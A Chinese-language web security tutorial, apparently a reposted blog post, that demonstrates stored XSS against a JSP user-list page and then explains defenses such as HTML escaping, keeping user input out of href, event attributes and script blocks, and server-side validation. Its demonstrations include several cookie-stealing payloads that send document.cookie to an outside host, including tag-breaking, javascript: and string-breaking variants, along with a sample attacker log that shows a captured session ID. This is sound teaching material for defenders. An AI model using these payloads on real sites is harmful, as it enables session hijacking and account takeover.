XSS 攻击实验 & 防御方案

XSS 攻击&防御实验

不要觉得你的网站很安全,实际上每个网站或多或少都存在漏洞,其中xss/csrf是最常见的漏洞,也是最容易被开发者忽略的漏洞,一不小心就要被黑

下面以一个用户列表页面来演示xss攻击的实验

假设某个恶意用户在注册时输入的用户名中包含攻击代码

首先准备一个jsp页面来显示用户列表

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %>
<html>
<head>
  <table>
    <c:forEach items="${users}" var="user">
      <tr>
        <td>${user.userId}</td>
        <td>${user.name}</td>
      </tr>
    </c:forEach>
  </table>
</head>
<body>
</body>
</html>

然后模拟一个control从数据库取出用户列表,显示在该页面上

public class UserController extends HttpServlet {
    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        //这里模拟从数据库中查询出来的用户
        List<User> users = new ArrayList<User>();
        users.add(new User(1 , "赖宝"));
        users.add(new User(2 , "<script>alert(‘你被攻击了!‘);</script>"));
        req.setAttribute("users" , users);
        req.getRequestDispatcher("/users.jsp").forward(req,resp);
    }
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        doPost(req , resp);
    }
}

当用户访问这个control后进入到用户列表页面,就会看到下面这样的效果了。

用浏览器的查看源代码功能可以看到页面的源代码如下:

<html>
<head>
  <table>
      <tr>
        <td>1</td>
        <td>赖宝</td>
      </tr>
      <tr>
        <td>2</td>
        <td><script>alert(‘你被攻击了!‘);</script></td>
      </tr>
  </table>
</head>
<body>
</body>
</html>

从html源代码中可以看出有脚本被插入到了页面并且被执行了。

上面这个例子的攻击者就是某个不怀好意的注册用户 , 被攻击者就是查看用户列表的一个管理员

高级攻击

当然,上面这样的攻击对被攻击者也造成不了多大的威胁,只是一个弹出而已,如果将攻击代码改成下面这样,你估计就不会这么觉得了。

//假设恶意用户又注册了用户名中包含攻击代码的用户
users.add(new User(3 , "<script>window.location.href=‘http://www.nuesile.com/?c=‘ + document.cookie + ‘&url=‘ + window.location.href </script>"));

当管理员再进入用户列表页面时就会发生悲剧了,首先看一下html源码变成啥样了

<html>
<head>
  <table>
      <tr>
        <td>1</td>
        <td>赖宝</td>
      </tr>
      <tr>
        <td>2</td>
        <td><script>alert(‘你被攻击了!‘);</script></td>
      </tr>
      <tr>
        <td>3</td>
        <td><script>window.location.href=‘http://www.nuesile.com/?c=‘ + document.cookie + ‘&url=‘ + window.location.href </script></td>
      </tr>
  </table>
</head>
<body>
</body>
</html>

上面的脚本执行了页面跳转,跳转到了一个攻击者的钓鱼网站,并且将当前用户的cookie,当前url等信息都当作参数传过去了。这个问题就大啦,熟悉http的都知道,有了cookie就相当拿到了当前用户的登录信息,攻击者就可以拿这些信息以管理员的身份访问用户列表了。

管理员的访问用户了列表页面后,浏览器变成了这样。(注意看浏览器地址栏,跳转到了钓鱼网站,并且将cookie和url传递过去了)

此时攻击者应该守在电脑屏幕等着网站管理员被攻击,此时他就能看到他的钓鱼网站的访问日志,日志中包含了被攻击用户的cookie与所访问的url

115.182.230.165 - - [22/May/2016:13:11:24 +0800] "GET /?c=__csrf_token__=8xK1wQ3t;%20JSESSIONID=6ub7dbn1pdwl1i1t3wms4i2jl&url=http://localhost:8080/user HTTP/1.1" 200 132 "http://localhost:8080/user" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36"

这样攻击者就能立马模拟被攻击者的用户信息去访问用户列表页面,如果用户列表中包含用户的很多隐私信息,比如电话,身份证号码,密码(一般不会啦)那么就真的悲剧了,此时攻击者能干什么事,就取决于被攻击用户拥有什么权限了,如果是一个很高级别管理员被攻击,将会有更悲剧的事情发生,各位可以自行脑补

除了直接输出到html标签内的代码可能被攻击,如果攻击代码出现在html标签的属性中也有可能被攻击

比如页面改成下面这样:

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %>
<html>
<head>
  <table>
    <c:forEach items="${users}" var="user">
      <tr>
        <td>${user.userId}</td>
        <td userName="${user.name}">用户信息</td>
      </tr>
    </c:forEach>
  </table>
</head>
<body>
</body>
</html>

当管理员访问页面时,浏览器查看html源码如下:


<html>
<head>
  <table>
      <tr>
        <td>1</td>
        <td userName="赖宝">用户信息</td>
      </tr>
      <tr>
        <td>2</td>
        <td userName="<script>alert(‘你被攻击了!‘);</script>">用户信息</td>
      </tr>
      <tr>
        <td>3</td>
        <td userName="<script>window.location.href=‘http://www.nuesile.com/?c=‘ + document.cookie + ‘&url=‘ + window.location.href </script>">用户信息</td>
      </tr>
  </table>
</head>
<body>
</body>
</html>

看到的页面如下:

页面显示正常,因为脚本信息被两个引号给包住了,脚本被当作一个普通字符串属性处理了,所以没有执行。

接下来把攻击脚本稍微修改

//脚本前面加了 ">
users.add(new User(3 , "\"> <script>window.location.href=‘http://www.nuesile.com/?c=‘ + document.cookie + ‘&url=‘ + window.location.href </script>"));

然后再看看此时html源码

<html>
<head>
  <table>
      <tr>
        <td>1</td>
        <td userName="赖宝">用户信息</td>
      </tr>

      <tr>
        <td>2</td>
        <td userName="<script>alert(‘你被攻击了!‘);</script>">用户信息</td>
      </tr>
      <tr>
        <td>3</td>
        <td userName=""> <script>window.location.href=‘http://www.nuesile.com/?c=‘ + document.cookie + ‘&url=‘ + window.location.href </script>">用户信息</td>
      </tr>
  </table>
</head>
<body>
</body>
</html>

因为html如果找到一个>符号,就会关闭上一个标签开始下一个标签,所以攻击脚本中估计制造一个”>符号将td标签关闭,接下来的<script>脚本就能正常执行了。

上面的例子只是xss攻击方式里面比较常见的几种,但是足以说明xss攻击的原理与严重性,xss攻击方式是各种各样的,需要开发者在平时的开发中多注意,只要页面上需要展示不确定(用户输入的)的内容,都需要仔细对待

XSS防御

页面上直接输出的所有不确定(用户输入)内容都进行html转译

也就是将所有的[<,>,”,,&]等符号都用[<,>,",&]字符进行替换,这些html标签符号被替换后,浏览器就会拿它当作一个普通字符串对待,而不是当作一个标签的开始/结束标志对待。

比如下面的攻击代码在输出前进行转移

 String content = "<script>alert(‘ok‘);</script>";
 content= StringEscapeUtils.escapeHtml4(content);
//被转后后成为了&lt;script&gt;alert(‘ok‘);&lt;/script&gt;字符串,然后再输出到浏览器 

浏览器就不会将转译后的字符串当中脚本执行,而是直接输出一个字符串。 浏览器显示如下:

这样就已经能防御大部分xss攻击了

<a>标签的href属性中不要包含不确定(用户输入)的内容

上面的转译能够解决直接输出在html中的内容,原理是将脚本标签中的<>等符号转译替换掉,但是还有一些情况下执行脚本,是不一定要依赖标签的,也就是脚本不需要用<script></script>包住,那么转译对这种脚本就不起作用了,比如a标签中的href属性,除了直接指定一个url进行跳转,还可以通过javascript:xxx();的方式执行js代码。

比如注册用户信息是还要求用户输入一个博客地址(一个url),用户管理后台的列表中再加一列,让管理员直接点这个链接去访问用户的博客。

<td><a href="${user.blog}">博客地址</a></td>

攻击者在注册用户时,博客地址如果输入下面这样的脚本:

javascript:window.location.href=‘http://www.nuesile.com/?c=‘ + document.cookie + ‘&url=‘ + window.location.href

那么当管理员点击这个链接的时候,跟之前一样的悲剧就又发生了,管理员的登录信息又被攻击者盗取了。

所以千万不要直接将用户输入的信息输出到href属性中,即使一定要输出,也应该将内容中的javascript/document/cookie/…等js关键字替换掉 , 最好的方式就是直接将这个信息转译后输出到页面,让管理员复制链接然后再去打开博客

同样的还有onclick , onload , on… 等属性中也千万不要直接放置不确定的内容进去。

script脚本中不要使用不确定的内容

下面假设一个场景:

比如某个直播网站,主播可以设置昵称,用户可以进入该房间观看直播。并且js要用到该主播的昵称,比如要用js将主播昵称放到屏幕中间做一个滚动的效果。

某个开发人员像下面这样写代码 :

<script>
  //获取主播昵称
  var starNick = ‘${starNick}‘;
  //让主播昵称在屏幕中间滚动
  rollingStarNick(starNick);
</script>

看起来似乎没啥问题,但是主播如果是一个懂xss攻击,并且想盗取观看用户帐号信息的人。那么问题就大了。

假如主播将昵称改为如下代码:

‘;window.location.href=‘http://www.nuesile.com/?c=‘ + document.cookie + ‘&url=‘ + window.location.href;‘

当用户进入房间后,脚本部分源码将变成这样:

<script>
  var starNick = ‘‘;window.location.href=‘http://www.nuesile.com/?c=‘ + document.cookie + ‘&url=‘ + window.location.href;‘‘ ;
  rollingStarNick(starNick);
</script>

攻击脚本最前面的 ‘; 是为了结束变量starNick的定义,不然直接放要指定的脚本会被包裹在两个引号”中作为普通字符串处理。

悲剧发生了~,只要进入到这个房间,就会自动跳转到钓鱼网站,并且将cookie信息也传过去了。

对用户输入内容格式做校验

出现上面情况的前提是,服务端没有对用户输入的内容进行校验。假如服务端校验了博客地址是否是一个url格式、用户名是否包含特殊字符等信息,也就不会发生上面这些攻击了,所以服务端最好对用户输入的内容都进行格式校验。

防御总结

看完上面的例子之后,你还觉得你的网站非常安全吗~ ?

xss攻击方式多种多样,常见的攻击方式上面都有举例,按照上面的几条防御原则,基本能防御绝大部分攻击了。当然还是需要开发人员格外细心,因为任何一个不注意,就可能导致严重的后果。

时间: 2024-08-04 17:58:26

XSS 攻击实验 & 防御方案的相关文章

WEB安全实战(三)XSS 攻击的防御

前言 上篇文章中提到了 XSS 攻击,而且,也从几个方面介绍了 XSS 攻击带来的严重影响.那么,这篇文章中,主要是针对 XSS 攻击做一个基本的防御,看看可以通过几种方式来修复这个特别常见的安全漏洞. 由于公司用的是 SpringMVC,因此,这次就主要基于 SpringMVC 来解决这些漏洞.当然,其实这些解决方案都是大同小异,对于什么环境来说根本无所谓.了解了原理,什么环境.什么语言都可以运用自如了.废话就不多说了,直接上解决方案. 解决方案 方案一 方案一主要是利用了 SpringMVC

XSS攻击及防御链接整理

XSS攻击及防御:http://blog.csdn.net/ghsau/article/details/17027893 Web攻防系列教程之跨站脚本攻击和防范技巧详解:http://www.rising.com.cn/newsletter/news/2012-04-25/11387.html Web安全测试之XSS:http://www.cnblogs.com/TankXiao/archive/2012/03/21/2337194.html xss攻击入门:http://www.cnblogs

转---如何让前端更安全?——XSS攻击和防御详解

前言 平时很少关注安全这块的技术,曾经也买过一本<Web前端黑客技术揭秘>但至今还没翻过,尴尬.今天的早读文章由腾讯优测@小吉带来的分享. 正文从这开始~ 最近深入了解了一下XSS攻击.以前总浮浅的认为XSS防御仅仅只是输入过滤可能造成的XSS而已.然而这池子水深的很呐. XSS的类型 总体来说,XSS分三类,存储型XSS.反射型XSS.DOM-XSS. 存储型XSS 数据库中存有的存在XSS攻击的数据,返回给客户端.若数据未经过任何转义.被浏览器渲染.就可能导致XSS攻击: 反射型XSS 将

XSS攻击及防御

本文来自:高爽|Coder,原文地址:http://blog.csdn.net/ghsau/article/details/17027893,转载请注明.       XSS又称CSS,全称Cross SiteScript,跨站脚本攻击,是Web程序中常见的漏洞,XSS属于被动式且用于客户端的攻击方式,所以容易被忽略其危害性.其原理是攻击者向有XSS漏洞的网站中输入(传入)恶意的HTML代码,当其它用户浏览该网站时,这段HTML代码会自动执行,从而达到攻击的目的.如,盗取用户Cookie.破坏页

XSS 攻击的防御

xss攻击预防,网上有很多介绍,发现很多都是只能预防GET方式请求的xss攻击,并不能预防POST方式的xss攻击.主要是由于POST方式的参数只能用流的方式读取,且只能读取一次,经过多次尝试,也只做到了能够接受GET.POST方式的参数并进行相关转义,但是最终通过方法获取的参数仍是未转义的参数.很是遗憾.目前先把综合了网上介绍的方法的相关代码在这里整理一下,有了新的突破再来更新. 参考主要网址: http://blog.csdn.net/Lan_Xuan/article/details/738

经典面试题:xss攻击和防御

XSS 分为三种:反射型,存储型和 DOM-based 如何攻击 XSS 通过修改 HTML 节点或者执行 JS 代码来攻击网站. 例如通过 URL 获取某些参数 <!-- http://www.domain.com?name=<script>alert(1)</script> --> <div>{{name}}</div> 上述 URL 输入可能会将 HTML 改为 <div><script>alert(1)</s

xss攻击与防御

除了在引号中分割单词和强制结束语句外,额外的空格没有意义.            >>>>>>java script : alert  同理 换行符/tab

防御XSS攻击的七条原则

本文将会着重介绍防御XSS攻击的一些原则,需要读者对于XSS有所了解,至少知道XSS漏洞的基本原理,如果您对此不是特别清楚,请参考这两篇文章:<Stored and Reflected XSS Attack><DOM Based XSS> 攻击者可以利用XSS漏洞向用户发送攻击脚本,而用户的浏览器因为没有办法知道这段脚本是不可信的,所以依然会执行它.对于浏览器而言,它认为这段脚本是来自可以信任的服务器的,所以脚本可以光明正大地访问Cookie,或者保存在浏览器里被当前网站所用的敏感

web 安全问题(二):XSS攻击

上文说完了CSRF攻击,本文继续研究它的兄弟XSS攻击. 什么是XSS攻击 XSS攻击的原理 XSS攻击的方法 XSS攻击防御的手段 什么是XSS攻击 XSS攻击全名(Cross-Site-Script)跨域脚本攻击,为了跟CSS(Cascading-Style-Sheet)区分开来,所以缩写是XSS. XSS攻击的原理 上一节说道的CSRF攻击是利用的是"伪请求",这一节的XSS的原理是利用脚本注入的方式. 主要是依靠一切可能的手段,将浏览器中可以执行的脚本(javascript)植